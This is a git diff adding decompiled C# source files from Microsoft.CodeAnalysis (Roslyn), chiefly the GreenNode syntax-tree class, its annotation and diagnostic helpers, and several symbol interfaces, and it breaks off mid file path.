a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorTimingInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorTimingInfo.cs new file mode 100644 index 0000000..044bdff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GeneratorTimingInfo.cs @@ -0,0 +1,16 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public readonly struct GeneratorTimingInfo +{ + public ISourceGenerator Generator { get; } + + public TimeSpan ElapsedTime { get; } + + internal GeneratorTimingInfo(ISourceGenerator generator, TimeSpan elapsedTime) + { + Generator = generator; + ElapsedTime = elapsedTime; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GreenNode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GreenNode.cs new file mode 100644 index 0000000..bf7a4a3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GreenNode.cs @@ -0,0 +1,870 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.IO; +using System.Linq; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal abstract class GreenNode : IObjectWritable +{ + [Flags] + internal enum NodeFlags : byte + { + None = 0, + ContainsDiagnostics = 1, + ContainsStructuredTrivia = 2, + ContainsDirectives = 4, + ContainsSkippedText = 8, + ContainsAnnotations = 0x10, + IsNotMissing = 0x20, + FactoryContextIsInAsync = 0x40, + FactoryContextIsInQuery = 0x80, + FactoryContextIsInIterator = 0x80, + InheritMask = 0x3F + } + + internal const int ListKind = 1; + + private readonly ushort _kind; + + protected NodeFlags flags; + + private byte _slotCount; + + private int _fullWidth; + + private static readonly ConditionalWeakTable s_diagnosticsTable = new ConditionalWeakTable(); + + private static readonly ConditionalWeakTable s_annotationsTable = new ConditionalWeakTable(); + + private static readonly DiagnosticInfo[] s_noDiagnostics = Array.Empty(); + + private static readonly SyntaxAnnotation[] s_noAnnotations = Array.Empty(); + + private static readonly IEnumerable s_noAnnotationsEnumerable = SpecializedCollections.EmptyEnumerable(); + + private const ushort ExtendedSerializationInfoMask = 32768; + + internal const int MaxCachedChildNum = 3; + + public abstract string Language { get; } + + public int RawKind => _kind; + + public bool IsList => RawKind == 1; + + public abstract string KindText { get; } + + public virtual bool IsStructuredTrivia => false; + + public virtual bool IsDirective => false; + + public virtual bool IsToken => false; + + public virtual bool IsTrivia => false; + + public virtual bool IsSkippedTokensTrivia => false; + + public virtual bool IsDocumentationCommentTrivia => false; + + public int SlotCount + { + get + { + int slotCount = _slotCount; + if (slotCount == 255) + { + slotCount = GetSlotCount(); + } + return slotCount; + } + protected set + { + _slotCount = (byte)value; + } + } + + internal NodeFlags Flags => flags; + + internal bool IsMissing => (flags & NodeFlags.IsNotMissing) == 0; + + internal bool ParsedInAsync => (flags & NodeFlags.FactoryContextIsInAsync) != 0; + + internal bool ParsedInQuery => (flags & NodeFlags.FactoryContextIsInQuery) != 0; + + internal bool ParsedInIterator => (flags & NodeFlags.FactoryContextIsInQuery) != 0; + + public bool ContainsSkippedText => (flags & NodeFlags.ContainsSkippedText) != 0; + + public bool ContainsStructuredTrivia => (flags & NodeFlags.ContainsStructuredTrivia) != 0; + + public bool ContainsDirectives => (flags & NodeFlags.ContainsDirectives) != 0; + + public bool ContainsDiagnostics => (flags & NodeFlags.ContainsDiagnostics) != 0; + + public bool ContainsAnnotations => (flags & NodeFlags.ContainsAnnotations) != 0; + + public int FullWidth + { + get + { + return _fullWidth; + } + protected set + { + _fullWidth = value; + } + } + + public virtual int Width => _fullWidth - GetLeadingTriviaWidth() - GetTrailingTriviaWidth(); + + public bool HasLeadingTrivia => GetLeadingTriviaWidth() != 0; + + public bool HasTrailingTrivia => GetTrailingTriviaWidth() != 0; + + bool IObjectWritable.ShouldReuseInSerialization => ShouldReuseInSerialization; + + internal virtual bool ShouldReuseInSerialization => IsCacheable; + + public virtual int RawContextualKind => RawKind; + + internal bool IsCacheable + { + get + { + if ((flags & NodeFlags.InheritMask) == NodeFlags.IsNotMissing) + { + return SlotCount <= 3; + } + return false; + } + } + + private string GetDebuggerDisplay() + { + return GetType().Name + " " + KindText + " " + ToString(); + } + + protected GreenNode(ushort kind) + { + _kind = kind; + } + + protected GreenNode(ushort kind, int fullWidth) + { + _kind = kind; + _fullWidth = fullWidth; + } + + protected GreenNode(ushort kind, DiagnosticInfo[]? diagnostics, int fullWidth) + { + _kind = kind; + _fullWidth = fullWidth; + if (diagnostics != null && diagnostics.Length != 0) + { + flags |= NodeFlags.ContainsDiagnostics; + s_diagnosticsTable.Add(this, diagnostics); + } + } + + protected GreenNode(ushort kind, DiagnosticInfo[]? diagnostics) + { + _kind = kind; + if (diagnostics != null && diagnostics.Length != 0) + { + flags |= NodeFlags.ContainsDiagnostics; + s_diagnosticsTable.Add(this, diagnostics); + } + } + + protected GreenNode(ushort kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : this(kind, diagnostics) + { + if (annotations == null || annotations.Length == 0) + { + return; + } + for (int i = 0; i < annotations.Length; i++) + { + if (annotations[i] == null) + { + throw new ArgumentException("", "annotations"); + } + } + flags |= NodeFlags.ContainsAnnotations; + s_annotationsTable.Add(this, annotations); + } + + protected GreenNode(ushort kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations, int fullWidth) + : this(kind, diagnostics, fullWidth) + { + if (annotations == null || annotations.Length == 0) + { + return; + } + for (int i = 0; i < annotations.Length; i++) + { + if (annotations[i] == null) + { + throw new ArgumentException("", "annotations"); + } + } + flags |= NodeFlags.ContainsAnnotations; + s_annotationsTable.Add(this, annotations); + } + + protected void AdjustFlagsAndWidth(GreenNode node) + { + flags |= node.flags & NodeFlags.InheritMask; + _fullWidth += node._fullWidth; + } + + internal abstract GreenNode? GetSlot(int index); + + internal GreenNode GetRequiredSlot(int index) + { + return GetSlot(index); + } + + protected virtual int GetSlotCount() + { + return _slotCount; + } + + public virtual int GetSlotOffset(int index) + { + int num = 0; + for (int i = 0; i < index; i++) + { + GreenNode slot = GetSlot(i); + if (slot != null) + { + num += slot.FullWidth; + } + } + return num; + } + + internal Microsoft.CodeAnalysis.Syntax.InternalSyntax.ChildSyntaxList ChildNodesAndTokens() + { + return new Microsoft.CodeAnalysis.Syntax.InternalSyntax.ChildSyntaxList(this); + } + + internal IEnumerable EnumerateNodes() + { + yield return this; + Stack stack = new Stack(24); + stack.Push(ChildNodesAndTokens().GetEnumerator()); + while (stack.Count > 0) + { + Microsoft.CodeAnalysis.Syntax.InternalSyntax.ChildSyntaxList.Enumerator item = stack.Pop(); + if (item.MoveNext()) + { + GreenNode current = item.Current; + stack.Push(item); + yield return current; + if (!current.IsToken) + { + stack.Push(current.ChildNodesAndTokens().GetEnumerator()); + } + } + } + } + + public virtual int FindSlotIndexContainingOffset(int offset) + { + int num = 0; + int num2 = 0; + while (true) + { + GreenNode slot = GetSlot(num2); + if (slot != null) + { + num += slot.FullWidth; + if (offset < num) + { + break; + } + } + num2++; + } + return num2; + } + + internal void SetFlags(NodeFlags flags) + { + this.flags |= flags; + } + + internal void ClearFlags(NodeFlags flags) + { + this.flags &= (NodeFlags)(byte)(~(int)flags); + } + + public virtual int GetLeadingTriviaWidth() + { + if (FullWidth == 0) + { + return 0; + } + return GetFirstTerminal().GetLeadingTriviaWidth(); + } + + public virtual int GetTrailingTriviaWidth() + { + if (FullWidth == 0) + { + return 0; + } + return GetLastTerminal().GetTrailingTriviaWidth(); + } + + internal GreenNode(ObjectReader reader) + { + ushort num = reader.ReadUInt16(); + _kind = (ushort)(num & -32769); + if ((num & 0x8000) != 0) + { + DiagnosticInfo[] array = (DiagnosticInfo[])reader.ReadValue(); + if (array != null && array.Length != 0) + { + flags |= NodeFlags.ContainsDiagnostics; + s_diagnosticsTable.Add(this, array); + } + SyntaxAnnotation[] array2 = (SyntaxAnnotation[])reader.ReadValue(); + if (array2 != null && array2.Length != 0) + { + flags |= NodeFlags.ContainsAnnotations; + s_annotationsTable.Add(this, array2); + } + } + } + + void IObjectWritable.WriteTo(ObjectWriter writer) + { + WriteTo(writer); + } + + internal virtual void WriteTo(ObjectWriter writer) + { + ushort kind = _kind; + bool flag = GetDiagnostics().Length != 0; + bool flag2 = GetAnnotations().Length != 0; + if (flag || flag2) + { + kind |= 0x8000; + writer.WriteUInt16(kind); + writer.WriteValue(flag ? GetDiagnostics() : null); + writer.WriteValue(flag2 ? GetAnnotations() : null); + } + else + { + writer.WriteUInt16(kind); + } + } + + public bool HasAnnotations(string annotationKind) + { + SyntaxAnnotation[] annotations = GetAnnotations(); + if (annotations == s_noAnnotations) + { + return false; + } + SyntaxAnnotation[] array = annotations; + for (int i = 0; i < array.Length; i++) + { + if (array[i].Kind == annotationKind) + { + return true; + } + } + return false; + } + + public bool HasAnnotations(IEnumerable annotationKinds) + { + SyntaxAnnotation[] annotations = GetAnnotations(); + if (annotations == s_noAnnotations) + { + return false; + } + SyntaxAnnotation[] array = annotations; + foreach (SyntaxAnnotation syntaxAnnotation in array) + { + if (annotationKinds.Contains(syntaxAnnotation.Kind)) + { + return true; + } + } + return false; + } + + public bool HasAnnotation([NotNullWhen(true)] SyntaxAnnotation? annotation) + { + SyntaxAnnotation[] annotations = GetAnnotations(); + if (annotations == s_noAnnotations) + { + return false; + } + SyntaxAnnotation[] array = annotations; + for (int i = 0; i < array.Length; i++) + { + if (array[i] == annotation) + { + return true; + } + } + return false; + } + + public IEnumerable GetAnnotations(string annotationKind) + { + if (string.IsNullOrWhiteSpace(annotationKind)) + { + throw new ArgumentNullException("annotationKind"); + } + SyntaxAnnotation[] annotations = GetAnnotations(); + if (annotations == s_noAnnotations) + { + return s_noAnnotationsEnumerable; + } + return GetAnnotationsSlow(annotations, annotationKind); + } + + private static IEnumerable GetAnnotationsSlow(SyntaxAnnotation[] annotations, string annotationKind) + { + foreach (SyntaxAnnotation syntaxAnnotation in annotations) + { + if (syntaxAnnotation.Kind == annotationKind) + { + yield return syntaxAnnotation; + } + } + } + + public IEnumerable GetAnnotations(IEnumerable annotationKinds) + { + if (annotationKinds == null) + { + throw new ArgumentNullException("annotationKinds"); + } + SyntaxAnnotation[] annotations = GetAnnotations(); + if (annotations == s_noAnnotations) + { + return s_noAnnotationsEnumerable; + } + return GetAnnotationsSlow(annotations, annotationKinds); + } + + private static IEnumerable GetAnnotationsSlow(SyntaxAnnotation[] annotations, IEnumerable annotationKinds) + { + foreach (SyntaxAnnotation syntaxAnnotation in annotations) + { + if (annotationKinds.Contains(syntaxAnnotation.Kind)) + { + yield return syntaxAnnotation; + } + } + } + + public SyntaxAnnotation[] GetAnnotations() + { + if (ContainsAnnotations && s_annotationsTable.TryGetValue(this, out SyntaxAnnotation[] value)) + { + return value; + } + return s_noAnnotations; + } + + internal abstract GreenNode SetAnnotations(SyntaxAnnotation[]? annotations); + + internal DiagnosticInfo[] GetDiagnostics() + { + if (ContainsDiagnostics && s_diagnosticsTable.TryGetValue(this, out DiagnosticInfo[] value)) + { + return value; + } + return s_noDiagnostics; + } + + internal abstract GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics); + + public virtual string ToFullString() + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringWriter writer = new StringWriter(instance.Builder, CultureInfo.InvariantCulture); + WriteTo(writer, leading: true, trailing: true); + return instance.ToStringAndFree(); + } + + public override string ToString() + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringWriter writer = new StringWriter(instance.Builder, CultureInfo.InvariantCulture); + WriteTo(writer, leading: false, trailing: false); + return instance.ToStringAndFree(); + } + + public void WriteTo(TextWriter writer) + { + WriteTo(writer, leading: true, trailing: true); + } + + protected internal void WriteTo(TextWriter writer, bool leading, bool trailing) + { + ArrayBuilder<(GreenNode, bool, bool)> instance = ArrayBuilder<(GreenNode, bool, bool)>.GetInstance(); + instance.Push((this, leading, trailing)); + processStack(writer, instance); + instance.Free(); + static void processStack(TextWriter writer2, ArrayBuilder<(GreenNode node, bool leading, bool trailing)> stack) + { + while (stack.Count > 0) + { + var (greenNode, flag, flag2) = stack.Pop(); + if (greenNode.IsToken) + { + greenNode.WriteTokenTo(writer2, flag, flag2); + } + else if (greenNode.IsTrivia) + { + greenNode.WriteTriviaTo(writer2); + } + else + { + int firstNonNullChildIndex = GetFirstNonNullChildIndex(greenNode); + int lastNonNullChildIndex = GetLastNonNullChildIndex(greenNode); + for (int num = lastNonNullChildIndex; num >= firstNonNullChildIndex; num--) + { + GreenNode slot = greenNode.GetSlot(num); + if (slot != null) + { + bool flag3 = num == firstNonNullChildIndex; + bool flag4 = num == lastNonNullChildIndex; + stack.Push((slot, flag || !flag3, flag2 || !flag4)); + } + } + } + } + } + } + + private static int GetFirstNonNullChildIndex(GreenNode node) + { + int slotCount = node.SlotCount; + int i; + for (i = 0; i < slotCount && node.GetSlot(i) == null; i++) + { + } + return i; + } + + private static int GetLastNonNullChildIndex(GreenNode node) + { + int num = node.SlotCount - 1; + while (num >= 0 && node.GetSlot(num) == null) + { + num--; + } + return num; + } + + protected virtual void WriteTriviaTo(TextWriter writer) + { + throw new NotImplementedException(); + } + + protected virtual void WriteTokenTo(TextWriter writer, bool leading, bool trailing) + { + throw new NotImplementedException(); + } + + public virtual object? GetValue() + { + return null; + } + + public virtual string GetValueText() + { + return string.Empty; + } + + public virtual GreenNode? GetLeadingTriviaCore() + { + return null; + } + + public virtual GreenNode? GetTrailingTriviaCore() + { + return null; + } + + public virtual GreenNode WithLeadingTrivia(GreenNode? trivia) + { + return this; + } + + public virtual GreenNode WithTrailingTrivia(GreenNode? trivia) + { + return this; + } + + internal GreenNode? GetFirstTerminal() + { + GreenNode greenNode = this; + do + { + GreenNode greenNode2 = null; + int i = 0; + for (int slotCount = greenNode.SlotCount; i < slotCount; i++) + { + GreenNode slot = greenNode.GetSlot(i); + if (slot != null) + { + greenNode2 = slot; + break; + } + } + greenNode = greenNode2; + } + while (greenNode?._slotCount > 0); + return greenNode; + } + + internal GreenNode? GetLastTerminal() + { + GreenNode greenNode = this; + do + { + GreenNode greenNode2 = null; + for (int num = greenNode.SlotCount - 1; num >= 0; num--) + { + GreenNode slot = greenNode.GetSlot(num); + if (slot != null) + { + greenNode2 = slot; + break; + } + } + greenNode = greenNode2; + } + while (greenNode?._slotCount > 0); + return greenNode; + } + + internal GreenNode? GetLastNonmissingTerminal() + { + GreenNode greenNode = this; + do + { + GreenNode greenNode2 = null; + for (int num = greenNode.SlotCount - 1; num >= 0; num--) + { + GreenNode slot = greenNode.GetSlot(num); + if (slot != null && !slot.IsMissing) + { + greenNode2 = slot; + break; + } + } + greenNode = greenNode2; + } + while (greenNode?._slotCount > 0); + return greenNode; + } + + public virtual bool IsEquivalentTo([NotNullWhen(true)] GreenNode? other) + { + if (this == other) + { + return true; + } + if (other == null) + { + return false; + } + return EquivalentToInternal(this, other); + } + + private static bool EquivalentToInternal(GreenNode node1, GreenNode node2) + { + if (node1.RawKind != node2.RawKind) + { + if (node1.IsList && node1.SlotCount == 1) + { + node1 = node1.GetRequiredSlot(0); + } + if (node2.IsList && node2.SlotCount == 1) + { + node2 = node2.GetRequiredSlot(0); + } + if (node1.RawKind != node2.RawKind) + { + return false; + } + } + if (node1._fullWidth != node2._fullWidth) + { + return false; + } + int slotCount = node1.SlotCount; + if (slotCount != node2.SlotCount) + { + return false; + } + for (int i = 0; i < slotCount; i++) + { + GreenNode slot = node1.GetSlot(i); + GreenNode slot2 = node2.GetSlot(i); + if (slot != null && slot2 != null && !slot.IsEquivalentTo(slot2)) + { + return false; + } + } + return true; + } + + public abstract SyntaxNode GetStructure(SyntaxTrivia parentTrivia); + + public abstract SyntaxToken CreateSeparator(SyntaxNode element) where TNode : SyntaxNode; + + public abstract bool IsTriviaWithEndOfLine(); + + public static GreenNode? CreateList(IEnumerable? enumerable, Func select) + { + if (enumerable != null) + { + if (!(enumerable is List list)) + { + if (enumerable is IReadOnlyList list2) + { + return CreateList(list2, select); + } + return CreateList(enumerable.ToList(), select); + } + return CreateList(list, select); + } + return null; + } + + public static GreenNode? CreateList(List list, Func select) + { + switch (list.Count) + { + case 0: + return null; + case 1: + return select(list[0]); + case 2: + return SyntaxList.List(select(list[0]), select(list[1])); + case 3: + return SyntaxList.List(select(list[0]), select(list[1]), select(list[2])); + default: + { + ArrayElement[] array = new ArrayElement[list.Count]; + for (int i = 0; i < array.Length; i++) + { + array[i].Value = select(list[i]); + } + return SyntaxList.List(array); + } + } + } + + public static GreenNode? CreateList(IReadOnlyList list, Func select) + { + switch (list.Count) + { + case 0: + return null; + case 1: + return select(list[0]); + case 2: + return SyntaxList.List(select(list[0]), select(list[1])); + case 3: + return SyntaxList.List(select(list[0]), select(list[1]), select(list[2])); + default: + { + ArrayElement[] array = new ArrayElement[list.Count]; + for (int i = 0; i < array.Length; i++) + { + array[i].Value = select(list[i]); + } + return SyntaxList.List(array); + } + } + } + + public SyntaxNode CreateRed() + { + return CreateRed(null, 0); + } + + internal abstract SyntaxNode CreateRed(SyntaxNode? parent, int position); + + internal int GetCacheHash() + { + int num = (int)flags ^ RawKind; + int slotCount = SlotCount; + for (int i = 0; i < slotCount; i++) + { + GreenNode slot = GetSlot(i); + if (slot != null) + { + num = Hash.Combine(RuntimeHelpers.GetHashCode(slot), num); + } + } + return num & 0x7FFFFFFF; + } + + internal bool IsCacheEquivalent(int kind, NodeFlags flags, GreenNode? child1) + { + if (RawKind == kind && this.flags == flags) + { + return GetSlot(0) == child1; + } + return false; + } + + internal bool IsCacheEquivalent(int kind, NodeFlags flags, GreenNode? child1, GreenNode? child2) + { + if (RawKind == kind && this.flags == flags && GetSlot(0) == child1) + { + return GetSlot(1) == child2; + } + return false; + } + + internal bool IsCacheEquivalent(int kind, NodeFlags flags, GreenNode? child1, GreenNode? child2, GreenNode? child3) + { + if (RawKind == kind && this.flags == flags && GetSlot(0) == child1 && GetSlot(1) == child2) + { + return GetSlot(2) == child3; + } + return false; + } + + internal GreenNode AddError(DiagnosticInfo err) + { + DiagnosticInfo[] array; + if (GetDiagnostics() == null) + { + array = new DiagnosticInfo[1] { err }; + } + else + { + array = GetDiagnostics(); + int num = array.Length; + Array.Resize(ref array, num + 1); + array[num] = err; + } + return SetDiagnostics(array); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GreenNodeExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GreenNodeExtensions.cs new file mode 100644 index 0000000..1d92043 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/GreenNodeExtensions.cs @@ -0,0 +1,101 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +internal static class GreenNodeExtensions +{ + public static TNode WithAnnotationsGreen(this TNode node, IEnumerable annotations) where TNode : GreenNode + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (SyntaxAnnotation annotation in annotations) + { + if (!instance.Contains(annotation)) + { + instance.Add(annotation); + } + } + if (instance.Count == 0) + { + instance.Free(); + SyntaxAnnotation[] annotations2 = node.GetAnnotations(); + if (annotations2 == null || annotations2.Length == 0) + { + return node; + } + return (TNode)node.SetAnnotations(null); + } + return (TNode)node.SetAnnotations(instance.ToArrayAndFree()); + } + + public static TNode WithAdditionalAnnotationsGreen(this TNode node, IEnumerable? annotations) where TNode : GreenNode + { + SyntaxAnnotation[] annotations2 = node.GetAnnotations(); + if (annotations == null) + { + return node; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.AddRange(annotations2); + foreach (SyntaxAnnotation annotation in annotations) + { + if (!instance.Contains(annotation)) + { + instance.Add(annotation); + } + } + if (instance.Count == annotations2.Length) + { + instance.Free(); + return node; + } + return (TNode)node.SetAnnotations(instance.ToArrayAndFree()); + } + + public static TNode WithoutAnnotationsGreen(this TNode node, IEnumerable? annotations) where TNode : GreenNode + { + SyntaxAnnotation[] annotations2 = node.GetAnnotations(); + if (annotations == null || annotations2.Length == 0) + { + return node; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.AddRange(annotations); + try + { + if (instance.Count == 0) + { + return node; + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + SyntaxAnnotation[] array = annotations2; + foreach (SyntaxAnnotation item in array) + { + if (!instance.Contains(item)) + { + instance2.Add(item); + } + } + return (TNode)node.SetAnnotations(instance2.ToArrayAndFree()); + } + finally + { + instance.Free(); + } + } + + public static TNode WithDiagnosticsGreen(this TNode node, DiagnosticInfo[]? diagnostics) where TNode : GreenNode + { + return (TNode)node.SetDiagnostics(diagnostics); + } + + public static TNode WithoutDiagnosticsGreen(this TNode node) where TNode : GreenNode + { + DiagnosticInfo[] diagnostics = node.GetDiagnostics(); + if (diagnostics == null || diagnostics.Length == 0) + { + return node; + } + return (TNode)node.SetDiagnostics(null); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Grouping.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Grouping.cs new file mode 100644 index 0000000..87a94fe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Grouping.cs @@ -0,0 +1,33 @@ +using System.Collections; +using System.Collections.Generic; +using System.Linq; + +namespace Microsoft.CodeAnalysis; + +internal class Grouping : IGrouping, IEnumerable, IEnumerable where TKey : notnull +{ + private readonly IEnumerable _elements; + + public TKey Key { get; } + + public Grouping(TKey key, IEnumerable elements) + { + Key = key; + _elements = elements; + } + + public Grouping(KeyValuePair> pair) + : this(pair.Key, pair.Value) + { + } + + public IEnumerator GetEnumerator() + { + return _elements.GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/HashSetExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/HashSetExtensions.cs new file mode 100644 index 0000000..753852f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/HashSetExtensions.cs @@ -0,0 +1,42 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis; + +internal static class HashSetExtensions +{ + internal static bool IsNullOrEmpty([NotNullWhen(false)] this HashSet? hashSet) + { + if (hashSet != null) + { + return hashSet.Count == 0; + } + return true; + } + + internal static bool InitializeAndAdd([NotNullIfNotNull("item")][NotNullWhen(true)] ref HashSet? hashSet, [NotNullWhen(true)] T? item) where T : class + { + if (item == null) + { + return false; + } + if (hashSet == null) + { + hashSet = new HashSet(); + } + return hashSet.Add(item); + } + + internal static bool Any(this HashSet hashSet, Func predicate) + { + foreach (T item in hashSet) + { + if (predicate(item)) + { + return true; + } + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IAliasSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IAliasSymbol.cs new file mode 100644 index 0000000..02b8d01 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IAliasSymbol.cs @@ -0,0 +1,8 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public interface IAliasSymbol : ISymbol, IEquatable +{ + INamespaceOrTypeSymbol Target { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IAnalyzerAssemblyLoader.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IAnalyzerAssemblyLoader.cs new file mode 100644 index 0000000..562ba73 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IAnalyzerAssemblyLoader.cs @@ -0,0 +1,10 @@ +using System.Reflection; + +namespace Microsoft.CodeAnalysis; + +public interface IAnalyzerAssemblyLoader +{ + Assembly LoadFromPath(string fullPath); + + void AddDependencyLocation(string fullPath); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IArrayTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IArrayTypeSymbol.cs new file mode 100644 index 0000000..26ea97b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IArrayTypeSymbol.cs @@ -0,0 +1,23 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface IArrayTypeSymbol : ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + int Rank { get; } + + bool IsSZArray { get; } + + ImmutableArray LowerBounds { get; } + + ImmutableArray Sizes { get; } + + ITypeSymbol ElementType { get; } + + NullableAnnotation ElementNullableAnnotation { get; } + + ImmutableArray CustomModifiers { get; } + + bool Equals(IArrayTypeSymbol? other); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IAssemblySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IAssemblySymbol.cs new file mode 100644 index 0000000..a0ea90a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IAssemblySymbol.cs @@ -0,0 +1,32 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface IAssemblySymbol : ISymbol, IEquatable +{ + bool IsInteractive { get; } + + AssemblyIdentity Identity { get; } + + INamespaceSymbol GlobalNamespace { get; } + + IEnumerable Modules { get; } + + ICollection TypeNames { get; } + + ICollection NamespaceNames { get; } + + bool MightContainExtensionMethods { get; } + + bool GivesAccessTo(IAssemblySymbol toAssembly); + + INamedTypeSymbol? GetTypeByMetadataName(string fullyQualifiedMetadataName); + + INamedTypeSymbol? ResolveForwardedType(string fullyQualifiedMetadataName); + + ImmutableArray GetForwardedTypes(); + + AssemblyMetadata? GetMetadata(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IAttributeNamedArgumentDecoder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IAttributeNamedArgumentDecoder.cs new file mode 100644 index 0000000..435c5e1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IAttributeNamedArgumentDecoder.cs @@ -0,0 +1,9 @@ +using System.Collections.Generic; +using System.Reflection.Metadata; + +namespace Microsoft.CodeAnalysis; + +internal interface IAttributeNamedArgumentDecoder +{ + (KeyValuePair nameValuePair, bool isProperty, SerializationTypeCode typeCode, SerializationTypeCode elementTypeCode) DecodeCustomAttributeNamedArgumentOrThrow(ref BlobReader argReader); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ICompilationUnitSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ICompilationUnitSyntax.cs new file mode 100644 index 0000000..8a68882 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ICompilationUnitSyntax.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis; + +public interface ICompilationUnitSyntax +{ + SyntaxToken EndOfFileToken { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IDiscardSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IDiscardSymbol.cs new file mode 100644 index 0000000..7c4a027 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IDiscardSymbol.cs @@ -0,0 +1,10 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public interface IDiscardSymbol : ISymbol, IEquatable +{ + ITypeSymbol Type { get; } + + NullableAnnotation NullableAnnotation { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IDynamicTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IDynamicTypeSymbol.cs new file mode 100644 index 0000000..5b7b6e9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IDynamicTypeSymbol.cs @@ -0,0 +1,7 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public interface IDynamicTypeSymbol : ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IErrorTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IErrorTypeSymbol.cs new file mode 100644 index 0000000..7c8631c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IErrorTypeSymbol.cs @@ -0,0 +1,11 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface IErrorTypeSymbol : INamedTypeSymbol, ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + ImmutableArray CandidateSymbols { get; } + + CandidateReason CandidateReason { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IEventSymbol.cs 